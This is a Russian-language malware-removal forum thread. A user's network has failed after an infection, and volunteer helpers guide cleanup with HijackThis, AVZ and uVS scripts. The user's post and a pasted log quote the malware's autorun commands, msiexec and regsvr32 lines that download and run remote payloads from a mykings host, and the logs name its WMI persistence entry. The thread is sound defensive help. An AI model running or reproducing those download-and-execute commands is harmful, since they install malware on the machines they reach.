Нет сети, но интернет есть через тот же кабель

Это моя вторая сеть в которой появилась эта проблема, до этого была аналогичная проблема в другой сети с 4 компьютерами. В той сети проблема решалась через ваш сайт, и наполовину все заработало (настройки еще не сбрасывал с помощью Windows Repair). ссылка на предыдущую тему [url]https://virusinfo.info/showthread.php?t=212346[/url].


Вот описание проблемы:
Пропала сеть на 8 компьютерах, но интернет по этому же кабелю раздается нормально.
Проверка настроек ни к чему не привела, сети так и нет. С одного раздающего интернет компьютера видно все компы, но другие его не видят. пинг нормальный без потерь во все стороны.
В автозагрузке появились пункты "msiexec.exe /i http://js.mykings.top:280/helloworld.msi/q" и "regsvr32 /u/s/i:[url]http://js.mykings.top:280/v.sct[/url] scrobj.dll", отключение не помогло.
Еще появился файл hosts.ics, удаление его не помогает, после перезагрузки он снова появляется.
Настройки сети переправлялись, но безрезультатно.

Уважаемый(ая) [B]Волокитин[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code][/code]Компьютер перезагрузится.

Перетащите лог Check_Browsers_LNK.log из папки Autologger на [url=http://dragokas.com/tools/ClearLNK.zip]утилиту ClearLNK[/url]. Отчёт о работе прикрепите.

Запустите HijackThis, расположенный в папке Autologger и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите[/url] (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B]):[code]R4 - HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7} - Поиск@Mail.Ru - http://go.mail.ru/search?q={SearchTerms}&fr=iextn
R4 - HKCU\Software\Policies\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7} - Поиск@Mail.Ru - http://go.mail.ru/search?q={SearchTerms}&fr=ntg&gp=blackbear16
O4 - MSConfig\startupreg: [Acrobat Assistant 8.0] C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrotray.exe (HKLM) (2017/01/30)
O4 - MSConfig\startupreg: [AdobeAAMUpdater-1.0] C:\Program Files\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe (HKLM) (2017/01/30)
O4 - MSConfig\startupreg: [CCleaner Monitoring] C:\Program Files\CCleaner\CCleaner.exe /MONITOR (HKCU) (2016/02/25)
O4 - MSConfig\startupreg: [SDTray] C:\Program Files\Spybot - Search & Destroy 2\SDTray.exe (HKLM) (2017/01/30)
O4 - MSConfig\startupreg: [amigo] C:\Users\NATASHA\AppData\Local\Amigo\Application\amigo.exe --no-startup-window (file missing) (HKCU) (2015/09/04)
O4 - MSConfig\startupreg: [bwworvatml] C:\Windows\explorer.exe "http://portaldom.ru/?utm_source=uoua03&utm_content=9b05bbc0cd71352ee97e58aee9075b9f&utm_term=0A17BB017CC4D6EDA205E11E0DE465A8" (HKCU) (2015/09/04)
O4 - MSConfig\startupreg: [kometaup] C:\Users\NATASHA\AppData\Local\Kometa\kometaup.exe --windows-start (file missing) (HKCU) (2015/09/04)
O4 - MSConfig\startupreg: [msegui] C:\Program Files\Код Безопасности\Абонентский Пункт\mseGui.exe (file missing) (HKLM) (2016/05/11)
O4 - MSConfig\startupreg: [start1] msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q (HKLM) (2017/05/22)
O4 - MSConfig\startupreg: [start] C:\Windows\system32\regsvr32.exe /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll (HKLM) (2017/05/22)
O22 - Task (Ready): {45F41C00-C156-4F43-A24A-66A49B2FE3C6} - C:\Program Files\Opera\launcher.exe[/code]
Устраните уязвимости, которые привели к эпидемии WannaCry - ссылка в другой Вашей теме.

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url] при наличии доступа в интернет:[CODE]var
LogPath : string;
ScriptPath : string;

begin
LogPath := GetAVZDirectory + 'log\avz_log.txt';
if FileExists(LogPath) Then DeleteFile(LogPath);
ScriptPath := GetAVZDirectory +'ScanVuln.txt';

if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 1) then ExecuteScript(ScriptPath) else begin
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 0) then ExecuteScript(ScriptPath) else begin
ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
exit;
end;
end;
if FileExists(LogPath) Then ExecuteFile('notepad.exe', LogPath, 1, 0, false)
end.[/CODE]
После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt, прикрепите его к сообщению.

Скачайте утилиту Universal Virus Sniffer [URL="https://yadi.sk/d/6A65LkI1WEuqC"]отсюда[/URL] и [url=http://virusinfo.info/showthread.php?t=121767]сделайте полный образ автозапуска uVS[/url].

Вы пишете:

"Выполните скрипт в AVZ:Компьютер перезагрузится.
Перетащите лог Check_Browsers_LNK.log из папки Autologger на утилиту ClearLNK. Отчёт о работе прикрепите."

а какой скрипт для AVZ? его нет в сообщении.
Пожалуйста, пришлите скрипт!

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Т.к. нет первого скрипта для avz, то ClearLNK не запускал и начал сразу с HijackThis, установил обновление KB 04012212. Вот логи от второго скрипта avz и uvs

Не страшно, всё дочистим в UVS.
Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):[code];uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
winsockreset
deltmp
;---------command-block---------
delref %SystemDrive%\PROGRAM FILES\03000200-1441348352-0500-0006-000700080009\HNSBDB82.TMP
delref %SystemDrive%\PROGRAM FILES\03000200-1441348352-0500-0006-000700080009\JNSB5792.TMP
delref %SystemDrive%\PROGRAM FILES\03000200-1441348352-0500-0006-000700080009\KNSQ1407.TMPFS
delref %SystemRoot%\FONTS\SPPSRV.EXE
delref D:\IQIYI VIDEO\LSTYLE\WINIO.SYS
delref %SystemDrive%\PROGRAM FILES\IOBIT\DRIVER BOOSTER\DRIVERBOOSTER.EXE
delref %SystemDrive%\PROGRAM FILES\IOBIT\IOBIT UNINSTALLER\IOBITUNINSTALER.EXE
delref S&A.EXE
delref WMI_ACTIVESCRIPTEVENTCONSUMER\FUCKYOUMM2_CONSUMER.[FUCKYOUMM2_FILTER]
delref %SystemDrive%\USERS\NATASHA\APPDATA\LOCAL\YANDEX\BROWSERMANAGER\BROWSERMANAGERSHOW.EXE
delref %SystemDrive%\USERS\NATASHA\APPDATA\LOCAL\AMIGO\APPLICATION\OK.EXE
delref %SystemDrive%\USERS\NATASHA\APPDATA\LOCAL\AMIGO\APPLICATION\VK.EXE
delref D:\IQIYI VIDEO\LSTYLE\NPWEBPLAYER.DLL
delref %SystemDrive%\PROGRAM FILES\TRACKER SOFTWARE\UPDATE\TRACKERUPDATE.EXE
delref %SystemDrive%\PROGRAM FILES\VIDEO SAVER 2\IEEF\_QZUQLVSKF.EXE
del %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\TOTAL COMMANDER\ПОЛЕЗНЫЕ УТИЛИТЫ\ПОКАЗ ЗВЕЗД-ПАРОЛЕЙ.LNK
del %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\TOTAL COMMANDER\УДАЛЕНИЕ СБОРКИ TC.LNK
delref %SystemDrive%\USERS\NATASHA\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\NMMHKKEGCCAGDLDGIIMEDPICCMGMIEDA\0.1.2.0_0\ПЛАТЕЖНАЯ СИСТЕМА ИНТЕРНЕТ-МАГАЗИНА CHROME
apply

restart[/code]
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

Сообщите, что с проблемой.

ничего не поменялось!
В другой теме запрашивали карантин, и потом через FRST, может и здесь также сделать?

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

А если попробовать windows repair, может быть поможет?

Пока не нужно, выполните сперва такой скрипт в UVS:[CODE];uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
regt 25
regt 27
apply
restart[/CODE]После перезагрузки проверяйте сеть.

Ура, принтер стал печатать по сети! Спасибо!
В сетевом окружении теперь также, как и в предыдущей теме, в сетевом окружении не видны компьютеры, но если вводить адрес вручную в проводнике, то все открывается.
Теперь попробовать windows repair?
И что это все таки за вирус? И появился только на компах с которых раздается сеть. Если бы был роутер, то такой ерунды я думаю не произошло бы, но увы все завязано на один компьютер.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

А есть ли универсальный вариант проверки всех компьютеров этой сети на поиск этого вируса на других компьютерах сети? в целях профилактики.
Везде стоит dr web ss 11, но он ничего, кроме ammy admina и Teamviewera не находит. Вроде все нормально, но вдруг!?

Попробуйте такой скрипт в UVS:[CODE];uVS v4.0.5 [http://dsrt.dyndns.org]
v400c
delall %SystemRoot%\FONTS\SPPSRV.EXE
delref %SystemDrive%\PROGRAMDATA\ALTERGEO\UPDATE FOR HTML5 GEOLOCATION PROVIDER\NPHTML5LOC.DLL
delref %SystemRoot%\DEBUG\ITEM.DAT
delref S.DAT
delref S&A.EXE
delref WMI_ACTIVESCRIPTEVENTCONSUMER\FUCKYOUMM2_CONSUMER.[FUCKYOUMM2_FILTER]
regt 25
deltmp
apply
restart[/CODE]
Лишнего точно не удалит, но гарантии, что все варманты зачистит дать не могу. И без установки патча от MS бесполезен.